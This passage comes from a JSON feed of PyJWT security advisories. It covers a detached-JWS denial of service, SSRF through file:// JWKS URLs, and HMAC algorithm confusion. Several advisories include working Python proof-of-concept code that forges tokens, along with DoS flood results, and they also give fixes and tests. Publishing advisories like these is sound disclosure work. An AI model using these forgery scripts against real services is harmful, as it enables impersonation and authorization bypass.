allowing the existing `PyJWKSet` skip path to continue. Regression coverage verifies that a malformed RSA key is skipped while a valid key in the same set remains usable. The full suite passes with 370 tests and 4 intentional cryptography-environment skips; formatting, lint, and targeted type checks pass. The advisory remains in triage while the fix goes through release planning.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-29T18:23:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.9,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-w6j9-cwv2-h6wq","https://nvd.nist.gov/vuln/detail/CVE-2026-102274","https://github.com/jpadilla/pyjwt/commit/8915570a0bfda9f0ff0e34e7fb09bdb9d71580cf","https://github.com/jpadilla/pyjwt/releases/tag/2.14.0","https://github.com/advisories/GHSA-w6j9-cwv2-h6wq"],"source_kind":"github","identifiers":["GHSA-w6j9-cwv2-h6wq","CVE-2026-102274"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-29T19:00:11.252Z","updated_at":"2026-12-03T11:01:59.244Z","epss_percentage":0.00571,"epss_percentile":0.48597,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13Nmo5LWN3djItaDZ3cc4AB6_9","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13Nmo5LWN3djItaDZ3cc4AB6_9","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"PyJWT","versions":[{"first_patched_version":"2.14.0","vulnerable_version_range":"\u003e= 2.9.0, \u003c= 2.13.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13Nmo5LWN3djItaDZ3cc4AB6_9/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-102274","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8934-1"},{"uuid":"CVE-2026-102274","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102274.json"},{"uuid":"USN-8934-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8934-1"},{"uuid":"DEBIAN-CVE-2026-102274","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-102274"}]},{"uuid":"GSA_kwCzR0hTQS13N3ZjLTczMmMtOW0zOc4ABYr0","url":"https://github.com/advisories/GHSA-w7vc-732c-9m39","title":"PyJWT: Unauthenticated DoS via unbounded Base64URL decoding of unused payload segment in b64=false detached JWS","description":"\u003e [!NOTE]\n\u003e Practical impact depends on whether request body-size limits are enforced upstream (proxy/web-server/framework). Deployments with typical body-size caps (≤2 MB) bound the amplifier significantly; deployments accepting larger token inputs are more exposed.\n\nWhen verifying detached JWS tokens using the unencoded-payload option (`\"b64\": false`, RFC 7797), PyJWT performs **Base64URL decoding of the compact-serialization payload segment** *before* enforcing the detached-payload rules.\n\nFor `b64=false`, PyJWT later **discards** that decoded payload and replaces it with the caller-provided `detached_payload`. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces **CPU work + memory allocations** even if the signature is invalid.\n\nThis creates an **unauthenticated DoS** vector against any endpoint that verifies detached JWS using PyJWT.\n\n---\n\n## Affected Component(s)\n\n* `jwt/api_jws.py`\n\n  * `PyJWS.decode()` / `PyJWS.decode_complete()`\n  * `_load()` (parsing and Base64URL decoding)\n\n---\n\n## Root Cause (exact logic flaw)\n\n### What happens in the code\n\nIn `jwt/api_jws.py`, `decode_complete()` does the following (order matters):\n\n* Calls `_load(jwt)` first, which decodes the token segments\n* Only after that, checks `header.get(\"b64\")` and if `False`, it replaces `payload = detached_payload` and rebuilds the signing input\n\nThis behavior is visible in `decode_complete()`:\n\n* `_load(jwt)` happens **before** the `b64=false` handling\n* then `payload = detached_payload` and `signing_input = ... detached_payload` happens afterward ([GitHub][1])\n\nInside `_load()`, PyJWT unconditionally performs:\n\n* `payload = base64url_decode(payload_segment)`\n  This is the expensive step the attacker can amplify ([GitHub][1])\n\n### Why this becomes a vulnerability\n\nFor `b64=false` detached JWS, the payload segment in compact form is effectively **not needed** for verification in PyJWT’s own logic (since the library uses `detached_payload` as the real payload). Yet PyJWT still decodes it first, meaning:\n\n* cost is paid **even when signature is invalid**\n* the decoded bytes are **discarded**\n* attacker controls the size of this cost via token length\n\n---\n\n## Impact (evidence-driven)\n\n### Security impact\n\n* **Unauthenticated remote DoS**: decoding work happens before signature rejection → attacker does not need signing key.\n* **CPU amplification**: Base64URL decode time scales linearly with payload segment size.\n* **Memory amplification**: decoded output allocates large byte buffers (tens of MB per request).\n* **Operational impact**: request queueing / worker starvation under modest concurrency bursts.\n\n### Standards context (RFC 7797)\n\nRFC 7797 explicitly notes this option is used when payload is large and/or detached, and discusses interoperability requirements around marking it critical (“crit” with “b64”). ([IETF Datatracker][2])\n(PyJWT supports `crit` validation, but the issue here is decode order / unbounded decode of an unused segment.)\n\n---\n\n## Affected Versions\n\n* **Confirmed affected:** PyJWT **2.12.1** (tested from your local editable install and repo).\n* **Likely affected:** all versions that include detached payload support for JWS decoding, which was introduced in **2.4.0** (“Add detached payload support for JWS encoding and decoding”). ([pyjwt.readthedocs.io][3])\n\n(For GHSA, this phrasing is strong: “confirmed” + “likely since feature introduction”.)\n\n---\n\n# Threat Model \n\n### Typical real deployment\n\nA service verifies signed HTTP requests or webhooks using detached JWS:\n\n* token is provided in JSON body / query / header\n* actual payload is the HTTP request body passed as `detached_payload`\n\n### Attacker\n\n* remote unauthenticated client\n* can send requests to verify endpoint\n* does **not** need a valid signature (invalid signature still triggers the expensive decode path)\n\n### Attack chain\n\n1. Attacker crafts a JWS compact token with header containing `\"b64\": false` and `crit:[\"b64\"]`.\n2. Attacker inflates the **payload segment** (middle segment) to millions of Base64URL characters.\n3. Server calls `PyJWS.decode(...detached_payload=...)`.\n4. PyJWT decodes the inflated segment (CPU + memory).\n5. Signature is rejected afterward (401) — but resources already consumed.\n6. Repeated requests or bursts cause queueing/worker starvation → DoS.\n\n---\n\n# Proof of Concept - file names + results\n\n## PoC placement \n\n* [server_localhost.py](https://github.com/user-attachments/files/26132755/server_localhost.py)\n\n* [client_localhost.py](https://github.com/user-attachments/files/26132757/client_localhost.py)\n\n* [flood_localhost.py](https://github.com/user-attachments/files/26132760/flood_localhost.py)\n\n\n---\n\n## PoC # 1 - Localhost verification server\n\n**File:** [server_localhost.py](https://github.com/user-attachments/files/26132755/server_localhost.py)\n\n**Purpose:** real HTTP endpoint (`POST /verify`) that calls PyJWT detached verification and prints:\n`ok / time_ms / peak_bytes / token_len / error`.\n\n### Results (server console output)\n\n```text\n[+] Listening on http://127.0.0.1:8000\n[+] POST /verify  JSON: {\"token\": \"...\"}\n\n[127.0.0.1] ok=True  time_ms=0.102 peak_bytes=2624     token_len=117      err=None\n[127.0.0.1] ok=False time_ms=2.012 peak_bytes=2000983  token_len=500078   err=InvalidSignatureError\n[127.0.0.1] ok=True  time_ms=1.591 peak_bytes=2001061  token_len=500117   err=None\n\n[127.0.0.1] ok=True  time_ms=0.065 peak_bytes=2304     token_len=117      err=None\n[127.0.0.1] ok=False time_ms=7.534 peak_bytes=8000983  token_len=2000078  err=InvalidSignatureError\n[127.0.0.1] ok=True  time_ms=6.347 peak_bytes=8001061  token_len=2000117  err=None\n\n[127.0.0.1] ok=True  time_ms=0.066 peak_bytes=2304     token_len=117      err=None\n[127.0.0.1] ok=False time_ms=23.034 peak_bytes=32000983 token_len=8000078 err=InvalidSignatureError\n[127.0.0.1] ok=True  time_ms=22.097 peak_bytes=32001061 token_len=8000117 err=None\n```\n\n**Key takeaways from these results**\n\n* At **8,000,000 chars**, a single invalid-signature request still causes:\n\n  * **~23 ms** server work\n  * **~32 MB** peak allocations\n  * returns **401** (invalid signature) → attacker does not need key.\n\n---\n\n## PoC # 2 - Localhost network client\n\n**File:** [client_localhost.py](https://github.com/user-attachments/files/26132757/client_localhost.py)\n**Purpose:** generates baseline + (invalid signature) + (valid signature) tokens and sends them over HTTP to localhost server.\n\n### Results (client output)\n\n#### payload-chars = 500,000\n\n```text\n=== BASELINE (valid b64=false token) ===\nHTTP: 200\nclient_wall_ms: 6.3499...\nserver_time_ms: 0.10197...\nserver_peak_bytes: 2624\n\n=== ATTACK (INVALID signature - attacker needs no key) ===\nHTTP: 401\nclient_wall_ms: 4.1010...\nserver_time_ms: 2.01217...\nserver_peak_bytes: 2000983\nerror: InvalidSignatureError\n\n=== ATTACK (VALID signature - accepted path still wastes) ===\nHTTP: 200\nclient_wall_ms: 3.6586...\nserver_time_ms: 1.59092...\nserver_peak_bytes: 2001061\n```\n\n#### payload-chars = 2,000,000\n\n```text\n=== BASELINE ===\nHTTP: 200\nserver_time_ms: 0.06527...\nserver_peak_bytes: 2304\n\n=== ATTACK (INVALID signature) ===\nHTTP: 401\nserver_time_ms: 7.53430...\nserver_peak_bytes: 8000983\n\n=== ATTACK (VALID signature) ===\nHTTP: 200\nserver_time_ms: 6.34682...\nserver_peak_bytes: 8001061\n```\n\n#### payload-chars = 8,000,000\n\n```text\n=== BASELINE ===\nHTTP: 200\nserver_time_ms: 0.06573...\nserver_peak_bytes: 2304\n\n=== ATTACK (INVALID signature) ===\nHTTP: 401\nserver_time_ms: 23.03403...\nserver_peak_bytes: 32000983\n\n=== ATTACK (VALID signature) ===\nHTTP: 200\nserver_time_ms: 22.09702...\nserver_peak_bytes: 32001061\n```\n\n**Why this is strong evidence**\n\n* The server clearly does heavy work **before** rejecting invalid signatures.\n* The “valid signature” case shows even accepted requests waste resources due to unused payload segment.\n\n---\n\n## PoC # 3 - Localhost flood / burst concurrency\n\n**File:** [flood_localhost.py](https://github.com/user-attachments/files/26132760/flood_localhost.py)\n**Purpose:** sends **N concurrent** invalid-signature requests over HTTP to demonstrate queueing/worker starvation.\n\n### Results (your run: 20 concurrent @ 8,000,000 chars)\n\n```text\ntotal_wall_ms: 1374.5405770000616\n\n(16, 401, 1156.4504789998864, 21.350951999920653, 32000983, 'InvalidSignatureError')\n(19, 401, 1151.2852699997893, 21.208721999755653, 32000983, 'InvalidSignatureError')\n(18, 401, 1102.7211239997996, 21.685218999664357, 32000983, 'InvalidSignatureError')\n(13, 401, 1102.0718189997751, 21.26572200040755, 32000983, 'InvalidSignatureError')\n(11, 401, 1095.9345460000804, 20.586017000368884, 32000983, 'InvalidSignatureError')\n(17, 401, 1085.2552810001725, 22.893039000337012, 32000983, 'InvalidSignatureError')\n(10, 401, 1078.3629560000918, 22.737160999895423, 32000983, 'InvalidSignatureError')\n(7,  401, 1048.2011740000416, 22.476282000297942, 32000983, 'InvalidSignatureError')\n(8,  401, 378.93017700025666, 21.377330999712285, 32000983, 'InvalidSignatureError')\n(1,  401, 281.45106800002395, 21.34223099983501, 32000983, 'InvalidSignatureError')\n```\n\n**Interpretation**\n\n* Each request still costs ~**20–23 ms** server processing and **~32 MB** peak allocations.\n* But client-observed latency rises up to **~1.15 seconds** because requests queue behind each other → clear worker starvation/HoL blocking.\n* All were rejected with **401 InvalidSignatureError** → still unauthenticated.\n\n---\n\n# Fix \n\n### Goal\n\nPrevent unbounded resource consumption from an attacker-controlled payload segment that is unused in `b64=false` detached flow.\n\n### Minimal change strategy\n\nIn `_load()` (or by refactoring parse order), **do not Base64-decode `payload_segment` until after you know whether `b64=false` applies**.\n\nTwo safe options:\n\n1. **Reject non-empty payload segment when `b64=false`**\n\n   * Parse header first\n   * If `b64` is false and `payload_segment` is non-empty → raise `DecodeError` *before* decoding\n   * Then verification uses `detached_payload` only\n\n2. **Skip decoding payload segment entirely when `b64=false`**\n\n   * Keep payload segment as raw bytes or empty\n   * Use detached payload for signing input\n\nThis aligns with the idea that detached payload is the trusted payload input for verification; the compact payload segment should not become a resource amplification vector.\n\n(Implementation context: the current decode order and unconditional `base64url_decode(payload_segment)` are visible in the file and line region around `_load()` and `decode_complete()` ([GitHub][1]).)\n\n---\n\n# Workarounds\n\n* Enforce strict **max token length** at the HTTP boundary (proxy/gateway).\n* Apply rate limiting on verification endpoints.\n* If detached JWS (`b64=false`) is not needed in your app, reject tokens where header includes `\"b64\": false`.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-15T19:29:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-w7vc-732c-9m39","https://nvd.nist.gov/vuln/detail/CVE-2026-48525","https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-178.yaml","https://github.com/advisories/GHSA-w7vc-732c-9m39"],"source_kind":"github","identifiers":["GHSA-w7vc-732c-9m39","CVE-2026-48525"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T20:00:08.214Z","updated_at":"2026-12-02T11:04:21.486Z","epss_percentage":0.0037,"epss_percentile":0.32989,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13N3ZjLTczMmMtOW0zOc4ABYr0","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13N3ZjLTczMmMtOW0zOc4ABYr0","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"pyjwt","versions":[{"first_patched_version":"2.13.0","vulnerable_version_range":"\u003e= 2.8.0, \u003c= 2.12.1"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13N3ZjLTczMmMtOW0zOc4ABYr0/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2026-48525","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-48525"},{"uuid":"UBUNTU-CVE-2026-48525","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8823-1"},{"uuid":"USN-8823-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8823-1"},{"uuid":"CVE-2026-48525","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/48xxx/CVE-2026-48525.json"}]},{"uuid":"GSA_kwCzR0hTQS05OTNnLTc2YzMtcDVtNM4ABYrz","url":"https://github.com/advisories/GHSA-993g-76c3-p5m4","title":"PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes","description":"\u003e [!NOTE]\n\u003e The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib's default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application's `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) — the file's contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain — verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n    bl = (n.bit_length() + 7) // 8\n    return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n                  \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n    json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n    {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n    priv_pem, algorithm=\"RS256\",\n    headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"])      # \u003c-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n                       audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}\n```\n\n## Cross-library evidence — PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n    self, uri: str,\n    cache_keys: bool = False, max_cached_keys: int = 16,\n    cache_jwk_set: bool = True, lifespan: float = 300,\n    headers: dict[str, Any] | None = None, timeout: float = 30,\n    ssl_context: SSLContext | None = None,\n    allowed_schemes: tuple[str, ...] = (\"https\", \"http\"),  # NEW\n):\n    \"\"\"...\n    :param allowed_schemes: URL schemes the JWKS endpoint is permitted\n        to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n        HTTPS-only operation. URLs with disallowed schemes raise\n        ``PyJWKClientError`` before any fetch is attempted.\n    \"\"\"\n    # ... existing init code ...\n    self.allowed_schemes = allowed_schemes\n    self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -\u003e None:\n    \"\"\"Reject the configured URI early if its scheme isn't allowed.\"\"\"\n    from urllib.parse import urlparse\n    parsed = urlparse(self.uri)\n    scheme = parsed.scheme.lower()\n    if not scheme:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI '{self.uri}' has no scheme; expected one of \"\n            f\"{self.allowed_schemes!r}\")\n    if scheme not in self.allowed_schemes:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes \"\n            f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n    with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n        PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient('data:application/json,{\"keys\":[]}')\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself — the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) — none cover this class\n\n## Credit\n\nReported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-15T19:28:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.2,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4","https://nvd.nist.gov/vuln/detail/CVE-2026-48522","https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml","https://github.com/github/advisory-database/pull/8521","https://github.com/advisories/GHSA-993g-76c3-p5m4"],"source_kind":"github","identifiers":["GHSA-993g-76c3-p5m4","CVE-2026-48522"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T20:00:08.214Z","updated_at":"2026-12-02T11:02:57.238Z","epss_percentage":0.00214,"epss_percentile":0.12411,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OTNnLTc2YzMtcDVtNM4ABYrz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05OTNnLTc2YzMtcDVtNM4ABYrz","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"PyJWT","versions":[{"first_patched_version":"2.13.0","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.12.1"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OTNnLTc2YzMtcDVtNM4ABYrz/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2026-48522","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-48522"},{"uuid":"CVE-2026-48522","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/48xxx/CVE-2026-48522.json"},{"uuid":"USN-8823-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8823-1"},{"uuid":"UBUNTU-CVE-2026-48522","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8823-1"}]},{"uuid":"GSA_kwCzR0hTQS14Z21tLThqOXYtYzl3eM4ABYry","url":"https://github.com/advisories/GHSA-xgmm-8j9v-c9wx","title":"PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed","description":"\u003e [!NOTE]\n\u003e Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in `algorithms=[…]` and a raw-JSON JWK as the `key=` argument, both contrary to documented usage, hence the High attack-complexity rating.\n\n### Summary\nWhen the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.   \n\n### Details\nIn JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms.\nIn pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:\n  \n`jws.decode(token, key=rsa_jwk_json, algorithms=[\"HS256\",\"RS256\"])) `\n\nAn attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. \nThe attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user. \n\nIf we look on current protections implemented in the library, at class HMACAlgorithm:\n\n```\n  def prepare_key(self, key: str | bytes) -\u003e bytes:\n        key_bytes = force_bytes(key)\n\n        if is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n            raise InvalidKeyError(\n                \"The specified key is an asymmetric key or x509 certificate and\"\n                \" should not be used as an HMAC secret.\"\n            )\n\n        return key_bytes\n```\nWe can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.\n\nIn The following example:\n`jws.decode(token, key=rsa_jwk_json, algorithms=[\"HS256\",\"RS256\"])) `\nThere is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations. \n\nThe bypass happens only if the verifier:\n (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.\n\n### PoC\nPlease run the code and observe the payload printed in clear text({\"sub\":\"alice\",\"admin\":true}')\n\n```\nfrom jwt.api_jws import PyJWS\nimport json, base64, hmac, hashlib\n\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\")\n\n# Public RSA JWK (public by design)\nrsa_jwk_json = json.dumps({\"kty\":\"RSA\",\"n\":\"AQAB\",\"e\":\"AQAB\"})\n\n# Attacker-crafted token: flip to HS256 and choose claims\nheader  = b64u(b'{\"alg\":\"HS256\",\"typ\":\"JWT\"}')\npayload = b64u(b'{\"sub\":\"alice\",\"admin\":true}')\nsigning = header + b\".\" + payload\n\n# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”\nsig   = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()\ntoken = (signing + b\".\" + b64u(sig)).decode()\n\n# Vulnerable verifier: mixed families + JWK JSON string as key\njws = PyJWS()\nprint(jws.decode(token, key=rsa_jwk_json, algorithms=[\"HS256\",\"RS256\"]))\n# -\u003e b'{\"sub\":\"alice\",\"admin\":true}'\n```\n\n\n### Impact\nUnauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-15T19:28:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wx","https://nvd.nist.gov/vuln/detail/CVE-2026-48526","https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-179.yaml","https://github.com/advisories/GHSA-xgmm-8j9v-c9wx"],"source_kind":"github","identifiers":["GHSA-xgmm-8j9v-c9wx","CVE-2026-48526"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T20:00:08.214Z","updated_at":"2026-12-02T11:04:21.487Z","epss_percentage":0.00427,"epss_percentile":0.38876,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Z21tLThqOXYtYzl3eM4ABYry","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14Z21tLThqOXYtYzl3eM4ABYry","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"pyjwt","versions":[{"first_patched_version":"2.13.0","vulnerable_version_range":"\u003c 2.13.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Z21tLThqOXYtYzl3eM4ABYry/related_packages","related_advisories":[{"uuid":"USN-8823-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8823-1"},{"uuid":"CVE-2026-48526","source_kind":"osv","url":"https://access.redhat.com/errata/RHSA-2026:25902"},{"uuid":"UBUNTU-CVE-2026-48526","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8823-1"},{"uuid":"DEBIAN-CVE-2026-48526","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-48526"}]},{"uuid":"GSA_kwCzR0hTQS1qcTM1LTdwcnAtOXYzZs4ABYrx","url":"https://github.com/advisories/GHSA-jq35-7prp-9v3f","title":"PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys","description":"\u003e [!NOTE]\n\u003e Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.\n\nPyJWT `2.9.0` through `2.12.1` allows a verifier-side algorithm allow-list bypass when `jwt.decode()` or `jwt.decode_complete()` are called with a `PyJWK` key. The token header `alg` is checked against the caller-supplied `algorithms` allow-list, but signature verification is performed with the algorithm bound to the `PyJWK` object instead of the header algorithm. An attacker who 